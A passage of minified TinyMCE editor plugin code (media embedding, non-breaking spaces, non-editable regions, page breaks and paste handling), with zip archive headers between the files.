src="'+c.poster+'"
width="'+c.width+'"
height="'+c.height+'"
/>'),l+="</object>"):c.source1mime.indexOf("audio")!==-1?a.settings.audio_template_callback?l=a.settings.audio_template_callback(c):l+='<audio
controls="controls"
src="'+c.source1+'">'+(c.source2?'\n<source
src="'+c.source2+'"'+(c.source2mime?'
type="'+c.source2mime+'"':"")+"
/>\n":"")+"</audio>":"script"===c.type?l+='<script
src="'+c.source1+'"></script>':l=a.settings.video_template_callback?a.settings.video_template_callback(c):'<video
width="'+c.width+'"
height="'+c.height+'"'+(c.poster?'
poster="'+c.poster+'"':"")+'
controls="controls">\n<source
src="'+c.source1+'"'+(c.source1mime?'
type="'+c.source1mime+'"':"")+"
/>\n"+(c.source2?'<source
src="'+c.source2+'"'+(c.source2mime?'
type="'+c.source2mime+'"':"")+"
/>\n":"")+"</video>"}return
l};return{dataToHtml:a}}),s("k",tinymce.util.Promise),a("d",["j","k"],function(e,t){var
n=function(e,n,r){var i={};return new t(function(t,o){var
a=function(r){return
r.html&&(i[e.source1]=r),t({url:e.source1,html:r.html?r.html:n(e)})};i[e.source1]?a(i[e.source1]):r({url:e.source1},a,o)})},r=function(e,n){return
new t(function(t){t({html:n(e),url:e.source1})})},i=function(t){return
function(n){return e.dataToHtml(t,n)}},o=function(e,t){var
o=e.settings.media_url_resolver;return
o?n(t,i(e),o):r(t,i(e))};return{getEmbedHtml:o}}),s("f",tinymce.Env),a("g",[],function(){var
e=function(e,t){e.state.set("oldVal",e.value()),t.state.set("oldVal",t.value())},t=function(e,t){var
n=e.find("#width")[0],r=e.find("#height")[0],i=e.find("#constrain")[0];n&&r&&i&&t(n,r,i.checked())},n=function(t,n,r){var
i=t.state.get("oldVal"),o=n.state.get("oldVal"),a=t.value(),s=n.value();r&&i&&o&&a&&s&&(a!==i?(s=Math.round(a/i*s),isNaN(s)||n.value(s)):(a=Math.round(s/o*a),isNaN(a)||t.value(a))),e(t,n)},r=function(n){t(n,e)},i=function(e){t(e,n)},o=function(e){var
t=function(){e(function(e){i(e)})};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain
proportions"}]}};return{createUi:o,syncSize:r,updateSize:i}}),a("2",["6","7","4","d","c","e","f","g"],function(e,t,n,r,i,o,a,s){var
l=a.ie&&a.ie<=8?"onChange":"onInput",c=function(e){return
function(t){var n=t&&t.msg?"Media embed handler error:
"+t.msg:"Media embed handler threw unknown
error.";e.notificationManager.open({type:"error",text:n})}},u=function(e){var
n=e.selection.getNode(),r=n.getAttribute("data-ephox-embed-iri");return
r?{source1:r,"data-ephox-embed-iri":r,width:i.getMaxWidth(n),height:i.getMaxHeight(n)}:n.getAttribute("data-mce-object")?t.htmlToData(e.settings.media_scripts,e.serializer.serialize(n,{selection:!0})):{}},d=function(e){var
t=e.selection.getNode();if(t.getAttribute("data-mce-object")||t.getAttribute("data-ephox-embed-iri"))return
e.selection.getContent()},f=function(e,n){return function(r){var
i=r.html,a=e.find("#embed")[0],l=o.extend(t.htmlToData(n.settings.media_scripts,i),{source1:r.url});e.fromJSON(l),a&&(a.value(i),s.updateSize(e))}},p=function(e,t){var
n,r,i=e.dom.select("img[data-mce-object]");for(n=0;n<t.length;n++)for(r=i.length-1;r>=0;r--)t[n]===i[r]&&i.splice(r,1);e.selection.select(i[0])},m=function(e,t){var
n=e.dom.select("img[data-mce-object]");e.insertContent(t),p(e,n),e.nodeChanged()},g=function(e,t){var
i=e.toJSON();i.embed=n.updateHtml(i.embed,i),i.embed?m(t,i.embed):r.getEmbedHtml(t,i).then(function(e){m(t,e.html)})["catch"](c(t))},h=function(e,t){o.each(t,function(t,n){e.find("#"+n).value(t)})},v=function(e){var
i,a,p=[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source",onpaste:function(){setTimeout(function(){r.getEmbedHtml(e,i.toJSON()).then(f(i,e))["catch"](c(e))},1)},onchange:function(t){r.getEmbedHtml(e,i.toJSON()).then(f(i,e))["catch"](c(e)),h(i,t.meta)},onbeforecall:function(e){e.meta=i.toJSON()}}],m=[],v=function(e){e(i),a=i.toJSON(),i.find("#embed").value(n.updateHtml(a.embed,a))};if(e.settings.media_alt_source!==!1&&m.push({name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative
source"}),e.settings.media_poster!==!1&&m.push({name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"}),e.settings.media_dimensions!==!1){var
b=s.createUi(v);p.push(b)}a=u(e);var
y={id:"mcemediasource",type:"textbox",flex:1,name:"embed",value:d(e),multiline:!0,rows:5,label:"Source"},x=function(){a=o.extend({},t.htmlToData(e.settings.media_scripts,this.value())),this.parent().parent().fromJSON(a)};y[l]=x,i=e.windowManager.open({title:"Insert/edit
media",data:a,bodyType:"tabpanel",body:[{title:"General",type:"form",items:p},{title:"Embed",type:"container",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,items:[{type:"label",text:"Paste
your embed code
below:",forId:"mcemediasource"},y]},{title:"Advanced",type:"form",items:m}],onSubmit:function(){s.updateSize(i),g(i,e)}}),s.syncSize(i)};return{showDialog:v}}),a("3",["e","8","9","a"],function(e,t,n,r){var
i=function(e,i){if(e.settings.media_filter_html===!1)return i;var o,a=new
t;return new
n({validate:!1,allow_conditional_comments:!1,special:"script,noscript",comment:function(e){a.comment(e)},cdata:function(e){a.cdata(e)},text:function(e,t){a.text(e,t)},start:function(t,n,r){if(o=!0,"script"!==t&&"noscript"!==t){for(var
i=0;i<n.length;i++){if(0===n[i].name.indexOf("on"))return;"style"===n[i].name&&(n[i].value=e.dom.serializeStyle(e.dom.parseStyle(n[i].value),t))}a.start(t,n,r),o=!1}},end:function(e){o||a.end(e)}},new
r({})).parse(i),a.getContent()};return{sanitize:i}}),s("i",tinymce.html.Node),a("5",["3","h","i","f"],function(e,t,n,r){var
i=function(e,t){var i,o=t.name;return i=new
n("img",1),i.shortEnded=!0,a(e,t,i),i.attr({width:t.attr("width")||"300",height:t.attr("height")||("audio"===o?"30":"150"),style:t.attr("style"),src:r.transparentSrc,"data-mce-object":o,"class":"mce-object
mce-object-"+o}),i},o=function(e,t){var r,i,o,s=t.name;return r=new
n("span",1),r.attr({contentEditable:"false",style:t.attr("style"),"data-mce-object":s,"class":"mce-preview-object
mce-object-"+s}),a(e,t,r),i=new
n(s,1),i.attr({src:t.attr("src"),allowfullscreen:t.attr("allowfullscreen"),width:t.attr("width")||"300",height:t.attr("height")||("audio"===s?"30":"150"),frameborder:"0"}),o=new
n("span",1),o.attr("class","mce-shim"),r.append(i),r.append(o),r},a=function(t,n,r){var
i,o,a,s,l;for(a=n.attributes,s=a.length;s--;)i=a[s].name,o=a[s].value,"width"!==i&&"height"!==i&&"style"!==i&&("data"!==i&&"src"!==i||(o=t.convertURL(o,i)),r.attr("data-mce-p-"+i,o));l=n.firstChild&&n.firstChild.value,l&&(r.attr("data-mce-html",escape(e.sanitize(t,l))),r.firstChild=null)},s=function(e){for(;e=e.parent;)if(e.attr("data-ephox-embed-iri"))return!0;return!1},l=function(e){return
function(n){for(var
a,l,c=n.length;c--;)a=n[c],a.parent&&(a.parent.attr("data-mce-object")||("script"!==a.name||(l=t.getVideoScriptMatch(e.settings.media_scripts,a.attr("src"))))&&(l&&(l.width&&a.attr("width",l.width.toString()),l.height&&a.attr("height",l.height.toString())),"iframe"===a.name&&e.settings.media_live_embeds!==!1&&r.ceFalse?s(a)||a.replace(o(e,a)):s(a)||a.replace(i(e,a))))}};return{createPreviewIframeNode:o,createPlaceholderNode:i,placeHolderConverter:l}}),a("0",["1","2","3","4","5"],function(e,t,n,r,i){var
o=function(e){e.on("ResolveName",function(e){var
t;1===e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)}),e.on("preInit",function(){var
t=e.schema.getSpecialElements();tinymce.each("video audio iframe
object".split(" "),function(e){t[e]=new
RegExp("</"+e+"[^>]*>","gi")});var
r=e.schema.getBoolAttrs();tinymce.each("webkitallowfullscreen
mozallowfullscreen allowfullscreen".split("
"),function(e){r[e]={}}),e.parser.addNodeFilter("iframe,video,audio,object,embed,script",i.placeHolderConverter(e)),e.serializer.addAttributeFilter("data-mce-object",function(t,r){for(var
i,o,a,s,l,c,u,d,f=t.length;f--;)if(i=t[f],i.parent){for(u=i.attr(r),o=new
tinymce.html.Node(u,1),"audio"!==u&&"script"!==u&&(d=i.attr("class"),d&&d.indexOf("mce-preview-object")!==-1?o.attr({width:i.firstChild.attr("width"),height:i.firstChild.attr("height")}):o.attr({width:i.attr("width"),height:i.attr("height")})),o.attr({style:i.attr("style")}),s=i.attributes,a=s.length;a--;){var
p=s[a].name;0===p.indexOf("data-mce-p-")&&o.attr(p.substr(11),s[a].value)}"script"===u&&o.attr("type","text/javascript"),l=i.attr("data-mce-html"),l&&(c=new
tinymce.html.Node("#text",3),c.raw=!0,c.value=n.sanitize(e,unescape(l)),o.append(c)),i.replace(o)}})}),e.on("click
keyup",function(){var
t=e.selection.getNode();t&&e.dom.hasClass(t,"mce-preview-object")&&e.dom.getAttrib(t,"data-mce-selected")&&t.setAttribute("data-mce-selected","2")}),e.on("ObjectSelected",function(e){var
t=e.target.getAttribute("data-mce-object");"audio"!==t&&"script"!==t||e.preventDefault()}),e.on("objectResized",function(e){var
t,n=e.target;n.getAttribute("data-mce-object")&&(t=n.getAttribute("data-mce-html"),t&&(t=unescape(t),n.setAttribute("data-mce-html",escape(r.updateHtml(t,{width:e.width,height:e.height})))))}),this.showDialog=function(){t.showDialog(e)},e.addButton("media",{tooltip:"Insert/edit
media",onclick:this.showDialog,stateSelector:["img[data-mce-object]","span[data-mce-object]","div[data-ephox-embed-iri]"]}),e.addMenuItem("media",{icon:"media",text:"Media",onclick:this.showDialog,context:"insert",prependToContext:!0}),e.on("setContent",function(){e.$("span.mce-preview-object").each(function(t,n){var
r=e.$(n);0===r.find("span.mce-shim",n).length&&r.append('<span
class="mce-shim"></span>')})}),e.addCommand("mceMedia",this.showDialog)};return
e.add("media",o),function(){}}),r("0")()}();PKT��[r�y��)tinymce/plugins/nonbreaking/plugin.min.jsnu�[���tinymce.PluginManager.add("nonbreaking",function(e){var
t=e.getParam("nonbreaking_force_tab");if(e.addCommand("mceNonBreaking",function(){e.insertContent(e.plugins.visualchars&&e.plugins.visualchars.state?'<span
class="mce-nbsp">&nbsp;</span>':"&nbsp;"),e.dom.setAttrib(e.dom.select("span.mce-nbsp"),"data-mce-bogus","1")}),e.addButton("nonbreaking",{title:"Nonbreaking
space",cmd:"mceNonBreaking"}),e.addMenuItem("nonbreaking",{text:"Nonbreaking
space",cmd:"mceNonBreaking",context:"insert"}),t){var
n=+t>1?+t:3;e.on("keydown",function(t){if(9==t.keyCode){if(t.shiftKey)return;t.preventDefault();for(var
r=0;r<n;r++)e.execCommand("mceNonBreaking")}})}});PKT��[�(��)tinymce/plugins/noneditable/plugin.min.jsnu�[���tinymce.PluginManager.add("noneditable",function(e){function
t(e){return function(t){return("
"+t.attr("class")+" ").indexOf(e)!==-1}}function
n(t){function n(t){var
n=arguments,r=n[n.length-2],i=r>0?a.charAt(r-1):"";if('"'===i)return
t;if(">"===i){var
o=a.lastIndexOf("<",r);if(o!==-1){var
l=a.substring(o,r);if(l.indexOf('contenteditable="false"')!==-1)return
t}}return'<span class="'+s+'"
data-mce-content="'+e.dom.encode(n[0])+'">'+e.dom.encode("string"==typeof
n[1]?n[1]:n[0])+"</span>"}var
r=o.length,a=t.content,s=tinymce.trim(i);if("raw"!=t.format){for(;r--;)a=a.replace(o[r],n);t.content=a}}var
r,i,o,a="contenteditable";r="
"+tinymce.trim(e.getParam("noneditable_editable_class","mceEditable"))+"
",i="
"+tinymce.trim(e.getParam("noneditable_noneditable_class","mceNonEditable"))+"
";var
s=t(r),l=t(i);o=e.getParam("noneditable_regexp"),o&&!o.length&&(o=[o]),e.on("PreInit",function(){o&&e.on("BeforeSetContent",n),e.parser.addAttributeFilter("class",function(e){for(var
t,n=e.length;n--;)t=e[n],s(t)?t.attr(a,"true"):l(t)&&t.attr(a,"false")}),e.serializer.addAttributeFilter(a,function(e){for(var
t,n=e.length;n--;)t=e[n],(s(t)||l(t))&&(o&&t.attr("data-mce-content")?(t.name="#text",t.type=3,t.raw=!0,t.value=t.attr("data-mce-content")):t.attr(a,null))})})});PKT��[�����'tinymce/plugins/pagebreak/plugin.min.jsnu�[���tinymce.PluginManager.add("pagebreak",function(e){var
t="mce-pagebreak",n=e.getParam("pagebreak_separator","<!--
pagebreak -->"),r=new
RegExp(n.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g,function(e){return"\\"+e}),"gi"),i='<img
src="'+tinymce.Env.transparentSrc+'"
class="'+t+'" data-mce-resize="false"
data-mce-placeholder
/>';e.addCommand("mcePageBreak",function(){e.settings.pagebreak_split_block?e.insertContent("<p>"+i+"</p>"):e.insertContent(i)}),e.addButton("pagebreak",{title:"Page
break",cmd:"mcePageBreak"}),e.addMenuItem("pagebreak",{text:"Page
break",icon:"pagebreak",cmd:"mcePageBreak",context:"insert"}),e.on("ResolveName",function(n){"IMG"==n.target.nodeName&&e.dom.hasClass(n.target,t)&&(n.name="pagebreak")}),e.on("click",function(n){n=n.target,"IMG"===n.nodeName&&e.dom.hasClass(n,t)&&e.selection.select(n)}),e.on("BeforeSetContent",function(e){e.content=e.content.replace(r,i)}),e.on("PreInit",function(){e.serializer.addNodeFilter("img",function(t){for(var
r,i,o=t.length;o--;)if(r=t[o],i=r.attr("class"),i&&i.indexOf("mce-pagebreak")!==-1){var
a=r.parent;if(e.schema.getBlockElements()[a.name]&&e.settings.pagebreak_split_block){a.type=3,a.value=n,a.raw=!0,r.remove();continue}r.type=3,r.value=n,r.raw=!0}})})});PKT��[|ZS(G(G#tinymce/plugins/paste/plugin.min.jsnu�[���!function(e,t){"use
strict";function n(e,t){for(var
n,r=[],o=0;o<e.length;++o){if(n=a[e[o]]||i(e[o]),!n)throw"module
definition dependecy not found:
"+e[o];r.push(n)}t.apply(null,r)}function
r(e,r,i){if("string"!=typeof e)throw"invalid module
definition, module id must be defined and be a
string";if(r===t)throw"invalid module definition, dependencies
must be specified";if(i===t)throw"invalid module definition,
definition function must be
specified";n(r,function(){a[e]=i.apply(null,arguments)})}function
i(t){for(var
n=e,r=t.split(/[.\/]/),i=0;i<r.length;++i){if(!n[r[i]])return;n=n[r[i]]}return
n}function o(n){var
r,i,o,s,l;for(r=0;r<n.length;r++){i=e,o=n[r],s=o.split(/[.\/]/);for(var
c=0;c<s.length-1;++c)i[s[c]]===t&&(i[s[c]]={}),i=i[s[c]];i[s[s.length-1]]=a[o]}if(e.AMDLC_TESTS){l=e.privateModules||{};for(o
in a)l[o]=a[o];for(r=0;r<n.length;r++)delete
l[n[r]];e.privateModules=l}}var
a={};r("tinymce/pasteplugin/Utils",["tinymce/util/Tools","tinymce/html/DomParser","tinymce/html/Schema"],function(e,t,n){function
r(t,n){return
e.each(n,function(e){t=e.constructor==RegExp?t.replace(e,""):t.replace(e[0],e[1])}),t}function
i(i){function o(e){var t=e.name,n=e;if("br"===t)return
void(l+="\n");if(c[t]&&(l+=" "),u[t])return
void(l+="
");if(3==e.type&&(l+=e.value),!e.shortEnded&&(e=e.firstChild))do
o(e);while(e=e.next);d[t]&&n.next&&(l+="\n","p"==t&&(l+="\n"))}var
a=new n,s=new
t({},a),l="",c=a.getShortEndedElements(),u=e.makeMap("script
noscript style textarea video audio iframe object","
"),d=a.getBlockElements();return
i=r(i,[/<!\[[^\]]+\]>/g]),o(s.parse(i)),l}function o(e){function
t(e,t,n){return t||n?"\xa0":" "}return
e=r(s(e),[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/gi,/<!--StartFragment-->|<!--EndFragment-->/g,[/(
?)<span class="Apple-converted-space">\u00a0<\/span>(
?)/g,t],/<br
class="Apple-interchange-newline">/g,/<br>$/i])}function
a(e){var t=0;return function(){return e+t++}}var s=function(e){var
t="<!--StartFragment-->",n="<!--EndFragment-->",r=e.indexOf(t);if(r!==-1){var
i=e.substr(r+t.length),o=i.indexOf(n);if(o!==-1&&/^<\/(p|h[1-6]|li)>/i.test(i.substr(o+n.length,5)))return
i.substr(0,o)}return e},l=function(){return
navigator.userAgent.indexOf("
Edge/")!==-1};return{filter:r,innerText:i,trimHtml:o,createIdGenerator:a,isMsEdge:l}}),r("tinymce/pasteplugin/SmartPaste",["tinymce/util/Tools"],function(e){var
t=function(e){return/^https?:\/\/[\w\?\-\/+=.&%@~#]+$/i.test(e)},n=function(e){return
t(e)&&/.(gif|jpe?g|png)$/.test(e)},r=function(e,t,n){return
e.undoManager.extra(function(){n(e,t)},function(){e.insertContent('<img
src="'+t+'">')}),!0},i=function(e,t,n){return
e.undoManager.extra(function(){n(e,t)},function(){e.execCommand("mceInsertLink",!1,t)}),!0},o=function(e,n,r){return!(e.selection.isCollapsed()!==!1||!t(n))&&i(e,n,r)},a=function(e,t,i){return!!n(t)&&r(e,t,i)},s=function(e,t){return
e.insertContent(t,{merge:e.settings.paste_merge_formats!==!1,paste:!0}),!0},l=function(t,n){e.each([o,a,s],function(e){return
e(t,n,s)!==!0})},c=function(e,t){e.settings.smart_paste===!1?s(e,t):l(e,t)};return{isImageUrl:n,isAbsoluteUrl:t,insertContent:c}}),r("tinymce/pasteplugin/Clipboard",["tinymce/Env","tinymce/dom/RangeUtils","tinymce/util/VK","tinymce/util/Tools","tinymce/pasteplugin/Utils","tinymce/pasteplugin/SmartPaste","tinymce/util/Delay"],function(e,t,n,r,i,o,a){return
function(s){function l(e){var
t,n=s.dom;if(t=s.fire("BeforePastePreProcess",{content:e}),t=s.fire("PastePreProcess",t),e=t.content,!t.isDefaultPrevented()){if(s.hasEventListeners("PastePostProcess")&&!t.isDefaultPrevented()){var
r=n.add(s.getBody(),"div",{style:"display:none"},e);t=s.fire("PastePostProcess",{node:r}),n.remove(r),e=t.node.innerHTML}t.isDefaultPrevented()||o.insertContent(s,e)}}function
c(e){e=s.dom.encode(e).replace(/\r\n/g,"\n");var
t,n=s.dom.getParent(s.selection.getStart(),s.dom.isBlock),r=s.settings.forced_root_block;r&&(t=s.dom.createHTML(r,s.settings.forced_root_block_attrs),t=t.substr(0,t.length-3)+">"),n&&/^(PRE|DIV)$/.test(n.nodeName)||!r?e=i.filter(e,[[/\n/g,"<br>"]]):(e=i.filter(e,[[/\n\n/g,"</p>"+t],[/^(.*<\/p>)(<p>)$/,t+"$1"],[/\n/g,"<br
/>"]]),e.indexOf("<p>")!=-1&&(e=t+e)),l(e)}function
u(){function t(e){var
t,n,i,o=e.startContainer;if(t=e.getClientRects(),t.length)return
t[0];if(e.collapsed&&1==o.nodeType){for(i=o.childNodes[_.startOffset];i&&3==i.nodeType&&!i.data.length;)i=i.nextSibling;if(i)return"BR"==i.tagName&&(n=r.doc.createTextNode("\ufeff"),i.parentNode.insertBefore(n,i),e=r.createRng(),e.setStartBefore(n),e.setEndAfter(n),t=e.getClientRects(),r.remove(n)),t.length?t[0]:void
0}}var
n,r=s.dom,i=s.getBody(),o=s.dom.getViewPort(s.getWin()),a=o.y,l=20;if(_=s.selection.getRng(),s.inline&&(n=s.selection.getScrollContainer(),n&&n.scrollTop>0&&(a=n.scrollTop)),_.getClientRects){var
c=t(_);if(c)l=a+(c.top-r.getPos(i).y);else{l=a;var
u=_.startContainer;u&&(3==u.nodeType&&u.parentNode!=i&&(u=u.parentNode),1==u.nodeType&&(l=r.getPos(u,n||i).y))}}S=r.add(s.getBody(),"div",{id:"mcepastebin",contentEditable:!0,"data-mce-bogus":"all",style:"position:
absolute; top: "+l+"px;width: 10px; height: 10px; overflow:
hidden; opacity:
0"},B),(e.ie||e.gecko)&&r.setStyle(S,"left","rtl"==r.getStyle(i,"direction",!0)?65535:-65535),r.bind(S,"beforedeactivate
focusin
focusout",function(e){e.stopPropagation()}),S.focus(),s.selection.select(S,!0)}function
d(){if(S){for(var
e;e=s.dom.get("mcepastebin");)s.dom.remove(e),s.dom.unbind(e);_&&s.selection.setRng(_)}S=_=null}function
f(){var
e,t,n,r,i="";for(e=s.dom.select("div[id=mcepastebin]"),t=0;t<e.length;t++)n=e[t],n.firstChild&&"mcepastebin"==n.firstChild.id&&(n=n.firstChild),r=n.innerHTML,i!=B&&(i+=r);return
i}function p(e){var t={};if(e){if(e.getData){var
n=e.getData("Text");n&&n.length>0&&n.indexOf(P)==-1&&(t["text/plain"]=n)}if(e.types)for(var
r=0;r<e.types.length;r++){var i=e.types[r];t[i]=e.getData(i)}}return
t}function m(e){var t=p(e.clipboardData||s.getDoc().dataTransfer);return
i.isMsEdge()?r.extend(t,{"text/html":""}):t}function
g(e){return
w(e,"text/html")||w(e,"text/plain")}function h(e){var
t;return t=e.indexOf(","),t!==-1?e.substr(t+1):null}function
v(e,t){return!e.images_dataimg_filter||e.images_dataimg_filter(t)}function
b(e,t,n){e&&(s.selection.setRng(e),e=null);var
r=t.result,i=h(r),o=new Image;if(o.src=r,v(s.settings,o)){var
a,c,u=s.editorUpload.blobCache;c=u.findFirst(function(e){return
e.base64()===i}),c?a=c:(a=u.create(D(),n,i),u.add(a)),l('<img
src="'+a.blobUri()+'">')}else l('<img
src="'+r+'">')}function y(e,t){function
n(n){var
r,i,o,a=!1;if(n)for(r=0;r<n.length;r++)if(i=n[r],/^image\/(jpeg|png|gif|bmp)$/.test(i.type)){var
s=i.getAsFile?i.getAsFile():i;o=new
FileReader,o.onload=b.bind(null,t,o,s),o.readAsDataURL(s),e.preventDefault(),a=!0}return
a}var
r=e.clipboardData||e.dataTransfer;if(s.settings.paste_data_images&&r)return
n(r.items)||n(r.files)}function x(e){var t=e.clipboardData;return
navigator.userAgent.indexOf("Android")!=-1&&t&&t.items&&0===t.items.length}function
C(e){return
t.getCaretRangeFromPoint(e.clientX,e.clientY,s.getDoc())}function
w(e,t){return t in e&&e[t].length>0}function N(e){return
n.metaKeyPressed(e)&&86==e.keyCode||e.shiftKey&&45==e.keyCode}function
k(){function t(e,t,n){var r;return
w(e,"text/html")?r=e["text/html"]:(r=f(),r==B&&(n=!0)),r=i.trimHtml(r),S&&S.firstChild&&"mcepastebin"===S.firstChild.id&&(n=!0),d(),r.length||(n=!0),n&&(r=w(e,"text/plain")&&r.indexOf("</p>")==-1?e["text/plain"]:i.innerText(r)),r==B?void(t||s.windowManager.alert("Please
use Ctrl+V/Cmd+V keyboard shortcuts to paste
contents.")):void(n?c(r):l(r))}function n(e){var
t=e["text/plain"];return!!t&&0===t.indexOf("file://")}s.on("keydown",function(t){function
n(e){N(e)&&!e.isDefaultPrevented()&&d()}if(N(t)&&!t.isDefaultPrevented()){if(E=t.shiftKey&&86==t.keyCode,E&&e.webkit&&navigator.userAgent.indexOf("Version/")!=-1)return;if(t.stopImmediatePropagation(),R=(new
Date).getTime(),e.ie&&E)return t.preventDefault(),void
s.fire("paste",{ieFake:!0});d(),u(),s.once("keyup",n),s.once("paste",function(){s.off("keyup",n)})}});var
r=function(){return
_||s.selection.getRng()};s.on("paste",function(n){var i=(new
Date).getTime(),o=m(n),l=(new Date).getTime()-i,c=(new
Date).getTime()-R-l<1e3,p="text"==T.pasteFormat||E;return
E=!1,n.isDefaultPrevented()||x(n)?void d():!g(o)&&y(n,r())?void
d():(c||n.preventDefault(),!e.ie||c&&!n.ieFake||(u(),s.dom.bind(S,"paste",function(e){e.stopPropagation()}),s.getDoc().execCommand("Paste",!1,null),o["text/html"]=f()),void(w(o,"text/html")?(n.preventDefault(),t(o,c,p)):a.setEditorTimeout(s,function(){t(o,c,p)},0)))}),s.on("dragstart
dragend",function(e){A="dragstart"==e.type}),s.on("drop",function(e){var
t,r;if(r=C(e),!e.isDefaultPrevented()&&!A&&(t=p(e.dataTransfer),(g(t)&&!n(t)||!y(e,r))&&r&&s.settings.paste_filter_drop!==!1)){var
o=t["mce-internal"]||t["text/html"]||t["text/plain"];o&&(e.preventDefault(),a.setEditorTimeout(s,function(){s.undoManager.transact(function(){t["mce-internal"]&&s.execCommand("Delete"),s.selection.setRng(r),o=i.trimHtml(o),t["text/html"]?l(o):c(o)})}))}}),s.on("dragover
dragend",function(e){s.settings.paste_data_images&&e.preventDefault()})}var
S,_,E,T=this,R=0,A=!1,B="%MCEPASTEBIN%",P="data:text/mce-internal,",D=i.createIdGenerator("mceclip");T.pasteHtml=l,T.pasteText=c,T.pasteImageData=y,s.on("preInit",function(){k(),s.parser.addNodeFilter("img",function(t,n,r){function
i(e){return e.data&&e.data.paste===!0}function
o(t){t.attr("data-mce-object")||u===e.transparentSrc||t.remove()}function
a(e){return 0===e.indexOf("webkit-fake-url")}function l(e){return
0===e.indexOf("data:")}if(!s.settings.paste_data_images&&i(r))for(var
c=t.length;c--;){var
u=t[c].attributes.map.src;u&&(a(u)?o(t[c]):!s.settings.allow_html_data_urls&&l(u)&&o(t[c]))}})})}}),r("tinymce/pasteplugin/WordFilter",["tinymce/util/Tools","tinymce/html/DomParser","tinymce/html/Schema","tinymce/html/Serializer","tinymce/html/Node","tinymce/pasteplugin/Utils"],function(e,t,n,r,i,o){function
a(e){return/<font face="Times New
Roman"|class="?Mso|style="[^"]*\bmso-|style='[^'']*\bmso-|w:WordDocument/i.test(e)||/class="OutlineElement/.test(e)||/id="?docs\-internal\-guid\-/.test(e)}function
s(t){var n,r;return r=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[
\u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][
\u00a0]/,/^[0-9]+\.[
\u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[
\u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[
\u00a0]/],t=t.replace(/^[\u00a0
]+/,""),e.each(r,function(e){if(e.test(t))return
n=!0,!1}),n}function
l(e){return/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(e)}function
c(c){var
u=c.settings;c.on("BeforePastePreProcess",function(d){function
f(e){function t(e){var n="";if(3===e.type)return
e.value;if(e=e.firstChild)do n+=t(e);while(e=e.next);return n}function
n(e,t){if(3===e.type&&t.test(e.value))return
e.value=e.value.replace(t,""),!1;if(e=e.firstChild)do
if(!n(e,t))return!1;while(e=e.next);return!0}function
r(e){if(e._listIgnore)return void e.remove();if(e=e.firstChild)do
r(e);while(e=e.next)}function o(e,t,o){var
s=e._listLevel||u;s!=u&&(s<u?a&&(a=a.parent.parent):(c=a,a=null)),a&&a.name==t?a.append(e):(c=c||a,a=new
i(t,1),o>1&&a.attr("start",""+o),e.wrap(a)),e.name="li",s>u&&c&&c.lastChild.append(a),u=s,r(e),n(e,/^\u00a0+/),n(e,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),n(e,/^\u00a0+/)}for(var
a,c,u=1,d=[],f=e.firstChild;"undefined"!=typeof
f&&null!==f;)if(d.push(f),f=f.walk(),null!==f)for(;"undefined"!=typeof
f&&f.parent!==e;)f=f.walk();for(var
p=0;p<d.length;p++)if(e=d[p],"p"==e.name&&e.firstChild){var
m=t(e);if(l(m)){o(e,"ul");continue}if(s(m)){var
g=/([0-9]+)\./.exec(m),h=1;g&&(h=parseInt(g[1],10)),o(e,"ol",h);continue}if(e._listLevel){o(e,"ul",1);continue}a=null}else
c=a,a=null}function p(t,n){var r,o={},a=c.dom.parseStyle(n);return
e.each(a,function(e,i){switch(i){case"mso-list":r=/\w+
\w+([0-9]+)/i.exec(n),r&&(t._listLevel=parseInt(r[1],10)),/Ignore/i.test(e)&&t.firstChild&&(t._listIgnore=!0,t.firstChild._listIgnore=!0);break;case"horiz-align":i="text-align";break;case"vert-align":i="vertical-align";break;case"font-color":case"mso-foreground":i="color";break;case"mso-background":case"mso-highlight":i="background";break;case"font-weight":case"font-style":return
void("normal"!=e&&(o[i]=e));case"mso-element":if(/^(comment|comment-list)$/i.test(e))return
void t.remove()}return 0===i.indexOf("mso-comment")?void
t.remove():void(0!==i.indexOf("mso-")&&("all"==m||g&&g[i])&&(o[i]=e))}),/(bold)/i.test(o["font-weight"])&&(delete
o["font-weight"],t.wrap(new
i("b",1))),/(italic)/i.test(o["font-style"])&&(delete
o["font-style"],t.wrap(new
i("i",1))),o=c.dom.serializeStyle(o,t.name),o?o:null}var
m,g,h=d.content;if(h=h.replace(/<b[^>]+id="?docs-internal-[^>]*>/gi,""),h=h.replace(/<br
class="?Apple-interchange-newline"?>/gi,""),m=u.paste_retain_style_properties,m&&(g=e.makeMap(m.split(/[,
]/))),u.paste_enable_default_filters!==!1&&a(d.content)){d.wordContent=!0,h=o.filter(h,[/<!--[\s\S]+?-->/gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/&nbsp;/gi,"\xa0"],[/<span\s+style\s*=\s*"\s*mso-spacerun\s*:\s*yes\s*;?\s*"\s*>([\s\u00a0]*)<\/span>/gi,function(e,t){return
t.length>0?t.replace(/./,"
").slice(Math.floor(t.length/2)).split("").join("\xa0"):""}]]);var
